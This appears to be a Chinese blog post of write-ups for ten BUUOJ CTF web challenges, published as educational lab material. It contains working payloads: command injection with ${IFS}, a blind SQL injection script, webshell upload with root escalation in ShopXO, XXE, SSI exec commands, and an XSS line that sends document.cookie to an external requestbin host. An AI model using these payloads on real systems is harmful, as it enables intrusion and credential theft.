BUUOJ-Web题目-7

[WUSTCTF2020]朴实无华

[极客大挑战 2019]FinalSQL

[网鼎杯 2020 朱雀组]Nmap

[MRCTF2020]PYWebsite

[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web1]Dropbox

[GKCTF2020]老八小超市儿

[NCTF2019]True XML cookbook

[BJDCTF2020]EasySearch

[BJDCTF 2nd]xss之光

[WUSTCTF2020]朴实无华

扫描器扫到robots.txt,观察一下,就能找到假的flag

然后继续观察,可以发现Header有一些区别

image.png

打开后源码分析

编码有点问题,调整一下可以看了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

第一关:PHP溢出

过大的数字可能会让interval爆掉

Payload

1
num=1e20

第二关:MD5弱比较

注意比较是弱比较,我们可以构造数字为0e开头,然后让其MD5后值也是0e。

Payload

1
md5=0e215962017&

第三关:替换

cat会被替换,空格不能有,我们用tac代替;空格使用${IFS}代替;最后超长的flag名字我们可以用正则匹配掉。所以即使这里限制了长度,应该也行。(虽然没有)

Payload

1
get_flag=tac${IFS}fll*

image.png

[极客大挑战 2019]FinalSQL

直接布尔盲注

可惜我的脚本没有二分而且没法判断大小写,巨慢无比,所以还是以后补个二分的版本吧

先用大佬的脚本做一下

最后版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import string
import time

flg = string.digits + 'abcdef' + 'lg{}-'
url = "http://feeebe7a-6004-4265-a0fa-ee518c8c7d83.node3.buuoj.cn/search.php"
for i in range(1,50):
for j in flg:
d ="?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)where(id=9)),'"+str(i)+"',1))="+str(ord(j))+")^1"
r = requests.get(url+d)
time.sleep(0.1)
if 'Click' in r.text:
print(j)
break

[网鼎杯 2020 朱雀组]Nmap

这篇文章中的[BUUCTF 2018]Online Tool是一样的。不过需要短标签+phtml绕过php的过滤,其他部分一样。

[MRCTF2020]PYWebsite

前端校验,直接访问flag.php

根据提示,加个X-Forwarded-For请求头拿到flag

[CISCN2019 华北赛区 Day1 Web2]ikun

这篇文章是一样的。

[CISCN2019 华北赛区 Day1 Web1]Dropbox

phar反序列化

下载的时候可以任意文件读取,读取所有文件之后找到利用点

然后可以参考这篇文章这篇文章,就能解题

具体来说,是FileList类的__call魔术方法触发了close(),然后删除会触发User类的__destruct方法,从而只要User类的db变量是FileList类型的,就能触发效果。这个效果可以利用phar反序列化实现

image.png

[GKCTF2020]老八小超市儿

ShopXO社区倒闭了,暂时没找到主题的源码,先放一会

社区又复活了,我们现在开始做一下这题。

admin.php,默认用户名admin默认密码shopxo进入后台

之后按照现成的方法来打

简单写下:

第一步:应用中心-应用商店-主题,下载默认主题。

第二步:默认主题/default/static,放在目录下。为了防止社区再次倒闭,我把官方链接放下(提取码jb48)。然后网站管理-主题管理-主题安装,安装一下。

第三步:获得shell,地址是http://xxx.com/public/static/index/default/你的木马.php

AntSword连接一下,发现在/root

image.png

没权限,所以我们看看根目录/auto.sh,发现一个py文件有root权限,我们来覆盖一波

1
2
3
4
5
6
7
8
9
10
11
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f1 = open("/root/flag","r").read()
f.write(gk1)
f.write(f1)
f.close()

image.png

[NCTF2019]True XML cookbook

基于XML外部实体漏洞的内网渗透,不过这个算是最基础的那种

读取/etc/hosts

image.png

然后我们来对最后一段扫一下,就能拿到flag

image.png

[BJDCTF2020]EasySearch

SSI注入[https://blog.csdn.net/qq_40657585/article/details/84260844]

先找到index.php.swp这个文件,然后看源码

跑出合适MD5的值,之后利用SSI注入执行拿到flag

Payload:

1
2
3
4
5
Password:2020666

<!--#exec cmd="ls ../"-->

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

image.png

image.png

image.png

[BJDCTF 2nd]xss之光

扫描找到.git目录,运行脚本找到index.php

然后看WP得知这题是原生类反序列化

文章

Payload

1
2
3
4
<?php
$a = serialize(new Exception("<script>window.location.href='http://requestbin.net/r/13p641q1?'+document.cookie</script>"));
echo urlencode($a);
?>

image.png


BUUOJ-Web题目-7
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-7
Author
John Doe
Posted on
October 4, 2020
Licensed under